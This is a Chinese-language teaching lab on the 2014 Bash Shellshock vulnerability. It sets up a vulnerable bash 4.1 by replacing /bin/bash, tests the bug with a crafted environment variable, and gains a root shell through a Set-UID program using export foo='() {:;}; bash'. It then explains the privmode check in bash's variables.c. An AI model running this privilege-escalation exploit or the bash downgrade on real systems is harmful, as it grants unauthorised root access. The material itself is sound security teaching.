ShellShock 攻击实验
实验简介
2014年9月24日,Bash中发现了一个严重漏洞shellshock,该漏洞可用于许多系统,并且既可以远程也可以在本地触发。在本实验中,我们需要亲手重现攻击来理解该漏洞,并回答一些问题。
准备工作
Shellshock
Shellshock,又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,首次于2014年9月24日公开。许多互联网守护进程,如网页服务器,使用bash来处理某些命令,从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统。
实验环境
该漏洞已在bash4.2中修复,因此本次实验需要bash版本不高于4.1。
安装bash4.1,软连接/bin/bash
到我们安装的bash上。
# rm /bin/bash
# ln -s /usr/local/bin/bash /bin/bash
我们在bash中输入命令env x='() { :; }; echo vulnerable' bash -c "echo this is a test "
,如果输出vulnerable
则说明存在漏洞。
最后,让/bin/sh 指向/bin/bash。$ sudo ln -sf /bin/bash /bin/sh
预备知识
在bash中存在自定义函数,我们可以通过函数名来调用这些函数。
$ foo() { echo bar; }
$ foo
> bar
调用的时候,bash有两个内建的环境变量:
KEY = foo
VALUE = () { echo bar; }
实验内容
本次实验的目的是,利用ShellShock漏洞和一个Set-UID程序获取一个带有root权限的shell。
提供的Set-UID程序如下。
#include <stdio.h>
void main()
{
setuid(geteuid()); // make real uid = effective uid.
system("/bin/ls -l");
}
我们注意到这里使用了setuid(geteuid()) 来使real uid = effective uid,这在Set-UID程序中不是普遍实践,但它确实有时会发生。
# gcc shock.c -o shock
# chmod u+s shock
# exit
$ export foo='() {:;}; bash'
$ ./shock
#
如果 setuid(geteuid()) 语句被去掉了,再试试看攻击,我们还能够拿到权限么?
#include <stdio.h>
void main()
{
system("/bin/ls -l");
}
(hack过程与step1完全一样,sh0ck是编译后的程序)
失败了!这就说明如果 real uid 和 effective uid 相同的话,定义在环境变量中的内容在该程序内有效,那样shellshock漏洞就能够被利用了。但是如果两个uid不同的话,环境变量失效,就无法发动攻击了,这可以从bash的源代码中得到印证(variables.c,在308到369行之间)请指出是哪一行导致了这样的不同,并说明bash这样设计的原因。此处我们可以这样设计对考虑网络服务CGI的作用。
这里给出这部分代码
/* Initialize the shell variables from the current environment.
If PRIVMODE is nonzero, don't import functions from ENV or
parse $SHELLOPTS. */
void
initialize_shell_variables (env, privmode)
char **env;
int privmode;
{
char *name, *string, *temp_string;
int c, char_index, string_index, string_length;
SHELL_VAR *temp_var;
create_variable_tables ();
for (string_index = 0; string = env[string_index++]; )
{
char_index = 0;
name = string;
while ((c = *string++) && c != '=')
;
if (string[-1] == '=')
char_index = string - name - 1;
/* If there are weird things in the environment, like `=xxx' or a
string without an `=', just skip them. */
if (char_index == 0)
continue;
/* ASSERT(name[char_index] == '=') */
name[char_index] = '\0';
/* Now, name = env variable name, string = env variable value, and
char_index == strlen (name) */
temp_var = (SHELL_VAR *)NULL;
/* If exported function, define it now. Don't import functions from
the environment in privileged mode. */
if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
{
string_length = strlen (string);
temp_string = (char *)xmalloc (3 + string_length + char_index);
strcpy (temp_string, name);
temp_string[char_index] = ' ';
strcpy (temp_string + char_index + 1, string);
parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);
/* Ancient backwards compatibility. Old versions of bash exported
functions like name()=() {...} */
if (name[char_index - 1] == ')' && name[char_index - 2] == '(')
name[char_index - 2] = '\0';
if (temp_var = find_function (name))
{
VSETATTR (temp_var, (att_exported|att_imported));
array_needs_making = 1;
}
else
report_error (_("error importing function definition for `%s'"), name);
/* ( */
if (name[char_index - 1] == ')' && name[char_index - 2] == '\0')
name[char_index - 2] = '('; /* ) */
}
摘出其中关键部分并简化
void initialize_shell_variables(){
// 循环遍历所有环境变量
for (string_index = 0; string = env[string_index++]; ) {
/*...*/
/* 如果有export过的函数, 在这里定义 */
/* 无法导入在特权模式下(root下)定义的函数 */
if (privmode == 0 && read_but_dont_execute == 0 &&
STREQN (“() {“, string, 4)) {
[...]
// 这里是shellshock发生的地方
// 传递函数定义 + 运行额外的指令
parse_and_execute (temp_string, name,
SEVAL_NONINT|SEVAL_NOHIST);
[...]
} }
就是上述那一行判断逻辑导致了两者的不同,primode即私有模式,要求real uid 与 effective uid保持一致。